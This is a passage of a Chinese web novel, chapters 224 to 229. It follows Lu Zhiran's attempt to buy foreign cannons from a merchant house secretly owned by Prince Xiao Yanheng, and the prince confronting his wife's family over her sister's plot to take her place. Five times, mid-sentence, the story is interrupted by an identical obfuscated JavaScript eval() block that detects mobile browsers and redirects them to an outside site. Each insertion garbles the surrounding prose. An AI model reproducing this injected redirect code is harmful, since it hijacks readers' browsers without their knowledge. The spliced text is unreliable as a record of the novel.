晚间,瑶光阁却迎来了一位不速之客。 紫鹃来了。 她抚着小腹,面带忧虑,“大小姐,您听说了吗?老爷要把夫人接回来了,这,这可如何是好?” 她当初背叛了方氏,依照方氏的性子,定然不会放过自己。 陆知苒淡声安抚,“紫鹃姨娘莫要忧虑,父亲把方氏接回来,也是因为方成才升迁,迫于无奈,实际上,父亲可并没有原谅她。你肚子里的孩子,才是父亲最紧张和在意的,你有什么担忧,尽可向父亲说,父亲会护着你。” 紫鹃依旧眉头紧锁,“老爷到底是男子,不常在内宅走动……” “我过不了多久也要出嫁了,能护得住你一时,却护不住你一世。” 紫鹃语塞。 陆知苒看着她,“只有自己立起来了,才能自保。” “妾身又何尝不知道这个道理,只是,并非每个人都有大小姐您的手段和本事。” 陆知苒淡淡道:“我的本事和手段也不是天生的。与其提心吊胆,不若主动出击,把对手摁**,你自然就安全无虞了。” 紫鹃的神色微顿,“可是,这谈何容易?” 方氏心机深沉,又在府中经营多年,便是一时失势,也没有那么容易对付。 她一脸殷切地看着陆知苒,“大小姐,你可有什么法子?” 陆知苒似笑非笑地看着她,“紫鹃姨娘在方氏身边待了二十多年,对她的了解远比我深得多,要说法子,姨娘也应当比我多得多才是。” 紫鹃露出若有所思之色。 “紫鹃姨娘回去好好想一想,若有需要用到我的地方,只管开口,我定义不容辞。” 送走了紫鹃,翠芙就忍不住道:“紫鹃姨娘可真精明,还想利用小姐替她对付夫人。” 陆知苒淡淡一笑。 她能背着方氏偷偷怀上陆贯轩的孩子,又暗中给自己做眼线,就不是个简单的人物。 “她想利用我,我亦有需要用到她的地方。她精明些,对我来说不是坏事。” 若她太过愚蠢,陆知苒反要担心她拖了后腿。 方氏不足为虑,陆知苒心里一直记挂着萧晏辞。 按照时间推算,他已经到了西平,不知那边的情况如何了?一切是否还在可控范围之内? 再过一段时日,他的书信应当就能送到。 带着担忧睡下,当晚,陆知苒就做了梦,梦中,萧晏辞躺在血泊中,浑身插满了箭,像刺猬一般。 陆知苒吓得惊醒过来,后背满是冷汗。 后半夜她也没有再睡着,一合眼,脑中就浮现出自己萧晏辞浑身是血的模样。 翌日,陆知苒的眼底浮上了一抹青黑,整个人的精神看上去也不大好。 那个梦,预示着什么?会不会是萧晏辞出了什么事? 这个念头在脑中回荡,久久不去。 “大小姐,张德安回来了,他给您带回了好消息。” 张德安是谭叙林的得力手下,她将其派往岭南,负责海运备货等诸多事宜,除此之外,还顺带打探另外一件要紧事。 而今他突然来了京城,还带回了好消息,陆知苒精神一凛,立马起身。 “快,给我更衣。” 陆知苒在老地方漱芳斋见到了张德安,他三十出头的年纪,蓄着短须,面容黝黑,看上去十分精干。 “小的见过小姐。此前您交代小的打听的那件事,小人幸不辱命,已然打听出了眉目。” 陆知苒正色。 “小的这段时间一直在岭南码头附近转悠,就在大半个月前,恒瑞商行的商船返航了,他们带回来了一大批外商的洋货,小的留意到,其中一艘船一直没有卸货,且吃水很深,船上的船工下船时,身上还有**味。小的花了几日的时间跟他们拉近了关系,有一人喝醉酒不小心说漏了嘴,小的便基本上可以断定,他们那艘船上多半是从洋人那里买回来的火炮。” 陆知苒闻言,面上立时露出喜色。 她要找的,就是那批从夷人处买来的火炮。 前世,便有商人购置了一批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15203396|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火炮,高价卖给了萧晏清,萧晏清又将那批火炮献给了德丰帝,越发受到德丰帝重用。 据说那批火炮威力十足,后来大齐朝靠着它们,直接收服了南疆边境小国,大齐的威名响彻四方大地。 若是这批火炮能运往西平,那小小羌笛又有何惧? 此次,她的商船出海,她便着意吩咐了此事,让他们伺机采购一批火器。 但商船出海到回京,一来一回起码大半年。 且不说他们不一定能采购到合适的火器,就算采购到了,时间也来不及。 所以她才让张德安在岭南打探火炮之事。 只是她也不知道那商队究竟是何时买回的火炮,对此也不敢抱十二分的希望。 没曾想,张德安竟真的带回了好消息。 前世,那富商既然愿意把火炮卖给萧晏清,这辈子,她只要给出足够多的筹码,就一定也能从从对方手里买下来。 陆知苒忙问,“那恒瑞商行是什么来路?你可知晓对方的东家是何人?” 张德安道:“恒瑞商行原本寂寂无名,直到他们的商船出了一趟外洋,开发了一条最新的海运通道,还带回了十几船奇珍异宝,赚了个盆满钵满,这才为众人所熟知。至于其幕后的东家,倒是一直未曾露过面。” 原来,恒瑞商行就是第一个吃螃蟹的人。 前头有商船接连遭遇海难,大家都不敢再冒险,只有恒瑞商行艺高人胆大,另外开辟了一条新航线。 她的商队,也是跟了恒瑞商行的风。 陆知苒方慢慢冷静了下来,“你可有法子联系上恒瑞商行的东家?” 张德安点头,“小的便是与那恒瑞商行的管事一道入的京,小的推测,那位东家人多半在京城,他也是来向东家报喜的。” 这次恒瑞商行又运回了不少奇珍异宝,这批货,可赚不少。 陆知苒大喜,“好,张德安,此事我便交由你来办。那批火炮,我势在必得,若你能帮我把此事办妥,我必重重有赏!” “属下定不负众望,办妥此事!” 第225章 不是吓大的 此时,他们提及的恒瑞商行的管事闻守义,正在向东家报喜。 而坐在他面前之人,不是旁人,正是安王萧晏珩。 “主子,小的自作主张办了一桩事,特来向您请罪。” 萧晏珩满面和煦,“你做事素来稳妥,能做出什么出格事?” “小的自作主张采买了一批火炮,花了数百万两银子。” 萧晏珩闻言不禁正色,不是因为他口中的数百万两,而是因为火炮。 “那火炮足有一人多高,十分巨大,小的亲眼看到那夷人演示,一发**,射程足有数百米,威力甚猛,能炸出百米深坑,更为难得的是,它一次能装三发**,若是大敌当前,完全可以连发。” “小的这次也是运气好,恰好结识了一个部落首领,对方急需用钱,招兵买马,这才愿意给小的卖出五个火炮。小的见机会难得,一咬牙,便买了下来。除了这五个火炮,还有十几把火铳,与大齐朝的火铳亦完全不同。” 萧晏珩脸上兴味之色愈浓,“那火炮当真威力如此强悍?” 闻守义立马保证,“小的方才所言句句属实,绝无半分夸大!此次是小的自作主张,请主子责罚!” 闻守义说罢便重重磕头,萧晏珩朗笑着将他扶起来。 “闻管事,你何错之有?你这是立下了大功!” 闻守义听了这话,这才重重松了口气。 “主子不怪就好。” “此等有价无市的好东西,本王岂会怪罪?” “那主子,那批火炮,咱们要如何处置?是献给皇上吗?” 萧晏珩摇头,“本王不想暴露自己的家底。” 正所谓财不露白,他藏了这么多年,可不想现在暴露了。 一旦暴露,自己就成了一块肥肉,时刻被人惦记了。 更何况,那么好的东西,就这么献给朝廷,他岂不亏大发了?他那父皇可舍不得给他重金赏赐。 闻守义觉得有点可惜,这多好的立功机会啊。 同时又不免担忧,本朝是禁止私下买卖火器的,若不进献给皇上的话,那这火炮岂不是成了个烫手山芋? “那要如何处置?还请主子示下。” 萧晏珩垂眸沉思片刻,“先等等,待时机合适了再作打算。” 这种好东西,放在手上亏不了。 运作得当,这只会是个香饽饽。 没想到,第二日,闻守义就又登门,告诉了萧晏珩一个坏消息。 “主子,昨日小的回去就有人登门,对方言语隐晦,竟是想与咱们做火炮的生意。小的办事不力,竟不知何时将此事泄露了出去。” 他一脸愧悔自责,唯恐自己坏了主子的计划,更怕行差踏错,牵连到主子。 萧晏珩也很意外,询问了一番对方的来历,闻守义依旧摇头。 “那人一直在打探主子您的信息,小的不松口,他也半点不松口,实在狡猾得很。” 萧晏珩沉吟一番,“你先拖延着对方,再想法子摸一摸对方的底细。若对方自报家门,你再查一查,查清楚了再来回禀。” 闻守义赶忙应下,只是依旧不免忧虑。 “若对方见合作不成,恼羞成怒,将此事捅出去怎么办?” “闻管事,你当初敢把这东西买回来的魄力上哪儿去了?眼下怎么反倒畏首畏尾起来了。” 闻守义有些汗颜,“小的是担心如果皇上得知主子手里有那么一批火炮却不主动上交,定要怀疑您有不该有的野心,到时候就麻烦了。” 萧晏珩气定神闲,“谁能证明那批火炮是本王的?本王一个病弱的王爷会有那般好本事?这话说出去,可没人会信。” 御状可没那么好告,他萧晏珩也不是吓大的。 闻守义见自家主子丝毫不乱,原本悬着的心也终于慢慢落了下去。 萧晏珩又叮嘱他,先把对方的底细摸清楚。 他可不会跟一个身份不明不白的人做交易。 对方有求于他,自然也不会轻易撕破脸。 不过,对方能那么快知晓自己手里有火炮,这倒是让他生出了几分警惕。 他得另做打算才行。 这时,有丫鬟前来提醒,“殿下,今日是您和王妃回门之日,王妃让奴婢来问问,您今日是否用空一道回邢家?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15221261|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晏珩挑眉,他的确忘了此事。 不过,昨夜她为何不自己亲口问他? “本王这就来。” 丫鬟得了话,俯身便告退了。 闻守义这才想起此事,“小的尚未恭贺主子新婚大喜。今日既是王爷与王妃的回门之日,小的便不耽搁您了。” 闻守义连忙告退了。 今日回门,邢初雪并不期待。 她已然知晓了姐姐被送回邢家之后发生的事,母亲真的是姐姐的帮凶,她心底里最后一丝希冀也彻底落空了。 在母亲心里,自己这个女儿真的半点都不重要? 她的前程,她的幸福,都可以为了姐姐而牺牲让步? 即便是事情败露,母亲依旧那般护着姐姐。 只怕现在,她还在心里责怪自己,为什么这般不识大体,不将错就错,把王妃之位让给姐姐。 她早已心灰意冷,自然不想回去。 但就算再不想去,也不得不去。 她打起了精神,让巧儿给自己梳妆打扮。 巧儿是与她自小一起长大的丫鬟,那日她也被迷晕了,等醒来的时候一切已经回归正轨,巧儿只当自己是身体不适,压根不知道自家主子被掉包了。 装扮齐整,巧儿跪下给她穿罗袜和绣鞋。 碰到她的脚,巧儿惊呼出声,“王妃,您的脚怎么了?怎的受伤了?奴婢这就去给您拿膏药。” 邢初雪一个激灵,立马回神,她飞快缩回了脚,耳根子也瞬间涨红了。 “没,没事,你下去吧,我自己来。” 巧儿依旧满面担忧地看着她,却被邢初雪连声催促着赶了出去。 邢初雪有一双小巧又漂亮的脚。 足踝纤细柔美,足弓微微隆起,线条流畅,如一弯新月。 她的脚趾生得圆润可爱,甲盖小小的,每一个都透着淡淡的粉色,似镶嵌了细碎的珍珠。 她以前从未认真观察过自己的脚,也从不觉得自己的脚生得有多好看,反而总是为自己的脚太小而苦恼,因为自己穿的绣鞋没有大家闺秀的美感,跟没长大的孩童似的。 直至那晚…… 第226章 她是你亲姐姐 邢初雪立马打住了念头,但是脸上的滚烫却是久久不散。 正穿着罗袜,一人出现在她身前,俯身蹲下,轻轻握住了她的玉足。 “怎么没人伺候?” 邢初雪似被烫了一下,下意识要缩回自己的双脚,但却没有成功。 她的脚被男人牢牢握在手心,他的手很大,轻易将她的脚掌控着,邢初雪感到有一股酥麻战栗流遍全身,脚趾也不受控地蜷缩起来。 “我,是妾身让她们出去的,妾身自己可以。” 萧晏珩抬起头看她,朝她勾唇,露出一个颠倒众生的笑。 “怎能劳动王妃?本王伺候你。” “不……” 但她的反抗没有任何作用,男人已经开始给她穿罗袜。 他的动作慢条斯理,像是在做一件十分庄重虔诚之事。 邢初雪一动不敢动,整个人已经从头红到了脚。 终于把鞋子穿好,邢初雪重重松了口气。 “疼不疼?” 邢初雪微愣,一时没反应过来。 他问,“脚,疼不疼?” 邢初雪方才才稍稍降下去的温度瞬间又升了起来,“不,不疼。时间不早了,得赶紧出发了!” 说完,她就埋头快步朝外狂奔,完全不敢多看他一眼。 萧晏珩若有所思,下次,得轻些才行。 邢世杰本让袁氏在院中反省,因萧晏珩要陪着邢初雪回门,邢世杰这才格外开恩,允她出来待客。 但事先也狠狠警告了一番,叫她安分守己,不许闹出幺蛾子。 邢世杰的长子长媳,和几个庶子庶女也来了,唯有邢初樱缺席,却无人问起。 邢初雪看到了袁氏手心的红肿,她的眸光动了动,到底什么都没问,只当什么都没看到。 一起用了膳,邢世杰便与萧晏珩去了外书房,其他人也散了,便只余下袁氏和邢初雪母女。 以往邢初雪最是活泼,今日,她却格外沉闷,屋中的气氛一下冷了下去。 袁氏小心翼翼地看了邢初雪一眼,“雪儿,你在安王府过得可好?” 邢初雪点了点头,“挺好的,王爷待我很好。” 只除了某些时候,他总是让她无法招架。 想到这儿,邢初雪的脸上浮起一丝红云。 但袁氏完全沉浸在自己的思绪中,根本没有察觉到女儿脸上细微的表情变化。 她抬手,动作间牵扯到掌中的伤,不禁发出一声倒吸冷气的嘶声。 她的表现很明显,邢初雪没法再视而不见。 “母亲的手怎么了?” 袁氏这才幽幽开口,“母亲做错了事,这是母亲受的惩戒。除了这顿打,母亲还被你父亲下令禁足了,便是府中的中馈,也交给了李姨娘料理。” 邢初雪早就知道了,她面无表情地听着,心里并无太多波澜,也没有开口说话。 袁氏见她完全不接茬,面上浮起几分尴尬。 “雪儿,你还在怪我们,对吗?” 邢初雪目光定定地看她,“难道我不该怪吗?” 袁氏急道:“此事是我们一时糊涂,但我们已经受了惩戒。你可知,你姐姐不仅手心被打烂了,她的脸更是被你父亲毁了!” 说到这儿,袁氏的眸底浮起一丝难以形容的悲痛。 “你父亲好狠的心啊,竟自己亲自动手,在你姐姐的脸上划了那么长那么深的一个口子,日后便是愈合了,她的脸上也注定会留下一道难看的疤。你父亲那么做,都是为了给你一个交代,为了安你的心!” “母亲这话反倒是在怪我?” 袁氏强压下怒意,“母亲没有那个意思,母亲只是想说,你姐姐已经意识到了自己的错处,也受到应有的教训了,你去向你父亲求求情,给你姐姐请太医来看看伤吧,现在兴许一切还来得及。” 邢初雪面无表情地拒绝了。 “这是父亲的决定,我无权干涉,也不打算插手。” 袁氏顿时急了,“那是你姐姐,你怎能坐视不管?更何况,她也没真正算计到你啊,此事就此翻篇了吧。无论如何,我们都是一家人啊。” 邢初雪冷笑一声,“此事最终没成,就能轻巧揭过去吗?更何况,此事之所以没成,并非你们顾念亲情,及时收手,而是因为被人揭穿了。若没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15221262|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九公主和平乐县主,我的人生已经彻底被姐姐偷走了。” 袁氏脸色青白交加,她似有怒气,又硬生生地忍了下去。 “这件事,是我们做得不对,母亲在这里,向你赔不是!你大人有大量,便不要再与我们一般计较,行不行?你姐姐为此已经被毁了容了,她已经受到了该有的惩戒!雪儿,母亲求你,去给你姐姐请个大夫吧!” 邢初雪起身,“母亲还有没有旁的事?若是无事的话,女儿先走了。” “雪儿你别走。” 袁氏急忙伸手拉她,一下又碰到伤处,疼得连连倒吸气。 邢初雪见了,眸底浮起一丝波澜,到底没有再走。 袁氏眼底蓄满了泪,“今日,母亲瞧见安王待你这般好,心里很是五味杂陈。你能过得好,母亲心里也高兴。但是我想到你姐姐的未来,就忍不住伤心难过。雪儿,你有了锦绣前程,也不能不管你姐姐的死活啊。” 邢初雪心里一片麻木,说来说去,还是为了姐姐的筹谋。 袁氏也不等邢初雪说话,自顾自地继续道:“你可知,你父亲要把你姐姐远嫁出京,这个月就要嫁出去。这么短的时间,你姐姐的脸还毁了,怎么可能找得到好人家?若对方待你姐姐不好,这般天高皇帝远的,她便是想求娘家撑腰都不行。” “雪儿,我知道你心里还有疙瘩,但那是你亲姐姐,你忍心看她远走他乡吗?你爹也是迫于无奈,全是因为当日受了九公主的要挟,他定然也舍不得把你姐姐远嫁的。” “你开口求一求九公主吧,这是我们家的家事,她有什么插手的理由?只要你开口,让她不要管,她就没有理由再横插一脚。没了九公主的威胁,你爹定然也会默许我们给你姐姐看伤的。” 袁氏殷切地看着邢初雪,希望邢初雪能点头答应下来。 但这一次,她注定要失望了。 邢初雪冷冷地看着她,“我不会去求九公主,因为这本身就是我的意思。” 袁氏瞪大了眼睛,不可置信地看着她。 “你,你怎能如此对你姐姐?那是你的亲姐姐啊!” 第227章 只有本王能让你哭 “那您怎么不问问她,怎能如此对我?她把我迷晕,要李代桃僵的时候,可曾想过我是她的亲妹妹?” 袁氏气结,“她只是一时糊涂,而且此事也没有成啊,你怎能如此斤斤计较?” 邢初雪彻底寒了心,也再没了与她沟通下去的欲望。 “没错,我就是这么斤斤计较,从她算计我开始,她就不再是我的姐姐。只是毁了她的脸,已经是我手下留情了。” 袁氏张了张嘴,还想说什么,邢初雪起身就要离开。 但转身的瞬间,母女二人神情都僵住了。 萧晏珩不知何时站在了门外,眸光晦暗不明,邢世杰站在他的身后,急得满头大汗。 邢初雪脸上闪过慌乱,袁氏更是面色苍白。 萧晏辞目光落在她的眼角,那里泛着一丝淡淡的薄红。 他迈步而入,目光落在袁氏的身上,带着一股不怒自威的气势。 “邢夫人,你与邢大小姐合谋想要将本王的王妃掉包,此事本王还没有与你算账,你竟还想威逼本王的王妃?此番行径,未免欺人太甚了吧。” 袁氏的身子发软,双腿更是一阵打摆子,“王爷,这,这都是一场误会,” “一场误会?是你们合谋掉包王妃之事是误会?还是你方才威逼王妃放过主谋是误会?” 袁氏支支吾吾,半晌说不出话来。 邢世杰上前便扬手,狠狠给了袁氏一记耳光。 “你个蠢妇,看看你做的蠢事!” 袁氏被打得脑瓜子嗡嗡地响,半个辩解都不敢说。 邢世杰又对着萧晏珩连连作揖,“安王殿下,此事是微臣没有管教好长女,让她动了不该动的歪心思。多亏九公主仗义出手,这才挽回了局势,没有酿成大祸。微臣已经对她小惩大诫,但却远不足以抵消她的罪孽。今日微臣就将她交由您亲自处置,只希望殿下能好好消气。” 袁氏脸色又是一变,她张嘴想要再说些什么,被邢世杰狠狠瞪了回去,她只能把话头尽数咽了回去。 萧晏珩眸底带着一丝森然的冷意,“不必了,本王怕脏了自己的手,邢大人自行处置吧。该怎么做,邢大人应当清楚。” 他可不是什么善男信女。 一个又蠢又坏的女人,一次两次让他的王妃受委屈,不杀了,还留着过年吗? 他这人护短。 邢世杰心头一凛,似是明白了什么。 他闭了闭眼,心中有了决断。 萧晏珩伸手,牵住了邢初雪。 他的手常年冰凉,而此时,她的手却比他的还冷。 “回府吧,王妃。” 邢初雪呆呆愣愣地跟在他身后,离开了邢家。 他们一走,邢世杰就气得胸口上下起伏,扬手又给了袁氏一记耳光。 “今日我怎么警告你的?你这是完全把我的话当成了耳旁风不成?” 袁氏捂着脸,呜呜地哭着。 “老爷,樱儿是妾身身上掉下来的一块肉,您对她如此狠心,这是在剜妾身的心啊!” 邢世杰面皮狠狠抖动,“雪儿难道就不是你身上掉下来的肉吗?你缘何能偏颇至此?” 袁氏张了张嘴,说不出话来。 “她做了错事,就要承担后果,若她不担着这后果,就要我们邢家上下上百口人与她一起担!” 袁氏满脸是泪,“她已经知道错了,难道就不能给她一次改过自新的机会吗?” 邢世杰闭上眼睛,“原本她还有机会,但因为你这个蠢货,她最后一丝生机也没了。来人,把夫人带回院中休养!没有我的命令,不许离开半步!” 立马有婆子上前,架起袁氏就走。 袁氏听着邢世杰那话,明白了什么,顿时浑身软作一团,满心绝望。 她的樱儿啊,怎么那么命苦? 直到上了马车,邢初雪的手心才一点点恢复暖意。 “有什么好哭的?” 邢初雪赶忙擦掉眼泪,面上神情依旧带着一丝狼狈。 “以后不会了。” 她不会再为了所谓亲情落下一滴眼泪。 他伸手,不容置疑地擦掉她眼角的泪。 “记住,以后,只有本王能让你哭。” 邢初雪被他弄得莫名耳热,稍稍侧头避开。 “殿下,此事是妾身的错,妾身不该欺瞒您。” 萧晏珩收回了手,懒懒地倚着车壁,“此事的确是你的错,若非你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15227982|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过蠢笨,也不会被人算计。” 邢初雪一梗,说不出话来。 她的确很蠢。 “凭你的脑子,想欺瞒也没用,本王早就知道了。” 邢初雪有些不敢置信,“怎么可能?” “本王掀开盖头的时候,就知道那是个冒牌货,若此事是你与令姐合谋,那你们邢家可就要完了。” 邢初雪身子哆嗦了一下,又有些不可置信。 “那,那殿下回新房之时,也第一眼就认出了我是我,不是我姐姐? 萧晏珩点头。 “你如何做到的?” 萧晏珩挑眉,“一眼就能分辨出来的事,这很难吗?” 邢初雪脸上顿时露出古怪之色,这人的眼睛,到底是怎么长的?她们姐妹明明生得很像,小时候甚至连爹爹都会把她们弄错。 她没想到,他竟然从一开始就识破了。 “那,您为何不直接拆穿?” “本王的王妃已经换回来了,本王也不欲节外生枝,毕竟,春宵一刻值千金。” 最后那几个字从他的嘴里吐出来,带着股莫名旖旎的味道。 邢初雪又不争气地红了脸。 她咬了咬唇,“殿下难道没有听说过我们姐妹的名声吗?我姐姐知书达理,贤良淑德,是大家闺秀的典范,跟她比起来,我就像是个添头。殿下要娶的人是我,而不是她,殿下心里,就没有一点不甘心吗?” 她问出这话时,心底是掩不住是黯然与自卑。 说到底,母亲的偏心还是深深地伤了她,让她对自己生出了否定和自我怀疑。 男人轻笑一声,“原本,本王觉得娶谁都无所谓。但如今嘛,本王觉得,王妃甚好。” 邢初雪耳尖微热,心口砰砰直跳,说话都不禁开始磕绊起来。 “为,为什么?” 男人凑近她的耳边,低声吐出一句话。 “王妃的玉足,甚美。” 邢初雪的脸轰地一下,彻底红透了,绣鞋里的脚趾也不自觉蜷缩了起来。 马车回到安王府,邢初雪一把掀开车帘,不用人搀扶就一跃而下,飞快地往府里飞奔而去。 巧儿一脸疑惑,也赶忙跟了上去。 第228章 他的王妃是个糊涂蛋 方氏被从家庙接了回来。 短短一个月,方氏已经被磋磨得完全变了个人。 原本风韵犹存的脸消瘦凹陷,不复此前光鲜润泽,反透着股衰败的蜡黄。 即便她重新穿上了光鲜体面的衣裳,脸上也用仔细地用脂粉修饰了一番,也掩盖不住她的憔悴与老态。 她以养病为由,将知春苑的大门紧闭,谢绝了一切请安,也绝了大家想看她笑话的意图。 陆知苒没有要往前凑的意思,言语的嘲讽奚落没有任何意义,她与方氏的交锋,必然是真刀**,白刀子进红刀子出。 与此同时,陆知苒收到了张德安带回来的坏消息,恒瑞商行一口回绝了她。 “小姐,对方在打探您的身份,没有您的授意,小的什么都没敢多说。” 这个结果在陆知苒的预料之中。 火炮非比寻常,没人敢随随便便拿到明面上交易。 对方不了解自己的底细,自然不敢轻易承认自己手里有火炮。 陆知苒沉吟片刻,很快就做出了决断。 “你帮我约那位闻管事,我亲自去见。” 她亲自去见,既亮出了身份,也摆足了诚意,只要对方肯卖,开什么条件都行。 她在京中经营出来的名声,或许会让对方有所松动。 她并不担心对方把自己欲购火炮之事抖出来,对方只会比自己更担心事情宣扬开。 萧晏珩很快得知此事,他的脸上不由露出讶色。 “竟然是她?” 闻守义点头,“小的也十分惊讶,但是昨日平乐县主亲自出面,还亮出了县主的令牌,定然做不得假。” “她开价多少?” 闻守义比了个数,萧晏珩眉峰微动。 这个数的确十分有诚意了。 陆知苒一介女流,好端端地买火炮做什么?不用想,这火炮也定是为了萧晏辞买的。 “我那七弟可真是天生破财,连带着他的未来王妃也跟着他一起破财了。” 闻守义向他请示,“主子,那这笔买卖,咱们做还是不做?” 陆知苒的名声远扬,便是闻守义才刚到京城没多久,也已是如雷贯耳,对其为人品性,闻守义也得赞一句佩服。 与这样的人做交易,自然更加让人放心。 更何况,她的开价也十分不错。 萧晏珩没有立马回答。 她是如何第一时间知道自己手里有火炮的? 这个女人,比自己想象中更不一般。 沉吟片刻,萧晏珩缓声开口,“先等等,别急着答应。” 做生意,哪有一来一回就成交的道理? 他也想再看看,陆知苒还能不能拿出更大的诚意来。 打发了闻守义,萧晏珩起身往内院而去。 邢初雪已经接管了安王府的庶务,这几日一直在忙着认人,熟悉账目。 萧晏珩来的时候,几名管事刚好离开。 邢初雪紧绷了一个上午,好容易人走了,她便伸了个懒腰,打了个大大的哈欠。 以往在闺中时,她总是嫌庶务难学,而今方知,实操起来更加令人头疼,看得她眼冒金星。 过段时间,侧妃和庶妃便要接连入府,她又有得忙的。 懒腰伸到一半,哈欠打了一半,就见男**步而入,邢初雪连忙缩回双手,闭上嘴巴,起身行礼。 动作太急,她险些闪到腰。 这男人,怎么走路都没有声音? 萧晏珩将她那副滑稽的表情变化尽收眼底,眸中不禁染上几分笑意。 “王妃近日打理府中庶务,辛苦了。” 邢初雪忙道:“这都是妾身该做的,当不得辛苦。” 萧晏珩随手翻看起手边的两摞账册,“王妃这账目理得不错,这原账目杂乱无序,你理过的账目条理清晰多了。” 邢初雪的脸一下臊红了,“殿下,您看反了,这才是妾身理的账目……” 那些杂乱无序的账目,才是她的杰作。 萧晏珩:…… 屋中微妙的安静了一瞬。 他本想再找补地夸赞两句,但实在夸不出口,只得阖上账目,装作无事发生。 “今日午膳吃什么?” 邢初雪赶紧报菜名,这个她擅长,毕竟每一道都是她亲自点的,自己喜欢吃的。 当然,也有两三道是萧晏珩常吃的。 没多会儿,丫鬟端着菜鱼贯而入,二人便安静用膳,屋中只余碗筷碰撞声。 邢初雪正专心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15227983|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干饭,就听萧晏珩状似随意地开口,“王妃与平乐县主关系似是不错?” “嗯嗯,我们虽然相识的时间不算长,但却很投契,她是很好的朋友。” 萧晏珩也道:“平乐县主的确可称女中豪杰,令人佩服。” 邢初雪连连点头,眸中的崇拜更甚。 他一副闲聊的语气,“本王听说她名下产业甚多,你可知她都做些什么生意?” 邢初雪摇头,“我只知道她办了锦绣坊,还有个太仓商行,至于其他的,我就不大了解了。” 她不通此道,素日里聊天自然没有聊起这个。 萧晏珩又探问了一番,邢初雪都一问三不知,他便打住了话头。 他这王妃就是个糊涂蛋,自己想从她口中打探到有用的讯息,怕是痴人说梦。 饭罢,他又道:“王妃若不想看账,交给府中管事便是了,不必为难自己。” 邢初雪想到自己理得稀烂的账目,心头升起一股羞愤,同时又有点泄气。 “可我是王妃,哪有不管账的道理?” “你是主子,手底下养了一群人,莫不是你这王妃累死累活,反倒让手底下的人闲着?” 邢初雪张了张嘴,想说什么,却无法反驳。 她小心翼翼地看着萧晏珩,“那殿下,你不会觉得我很无能吗?” 萧晏珩难得耐心,“真正厉害的人,并非凡事亲力亲为,而是能知人善任,有超凡的御下之术。平乐县主能经营出那么大的产业,靠的并不是亲力亲为,而是培养出一个个得力的手下,抓大放小。打理商行,与打理王府内宅,是同样的道理。” 邢初雪闻言,露出了若有所思之色。 “你可以多邀请她过府聚聚,陪你解解闷。还有宝珠,叶小姐,或是其他与你脾气相投之人,都可以邀到府上小聚一番。” 他语气如常,落在邢初雪的耳中,却是莫大的鼓励,更让她意识到,自己是这个家的女主人,她有邀请旁人登门做客的资格和权利。 邢初雪心头发暖,“我明日就邀她们!” 这一刻,她的眉眼飞扬,整个人如同骄阳般明媚灿烂。 萧晏珩看着她,唇角也微不可查地翘了翘。 第229章 前所未有的归属感 邢初雪是个风风火火的性子,立马就开始写帖子,第二天,几人就在安王府后花园碰头了。 安王府并不豪奢,各处装潢都中规中矩,花园里的花也不是什么名贵的品种,但在几人眼里,这番景致却是极好,她们的心情都格外愉悦,欢声笑语被春风吹得老远。 萧宝珠一脸感慨,“我这还是头一回在五皇兄的府上做客,真是难得啊。” 叶寒衣揶揄,“眼下安王有了正妃,这王府也有了女主人,以后你想什么时候来,都有人接待你。” 邢初雪被她们打趣得一阵赧然,心头浮起一丝温暖又甜蜜。 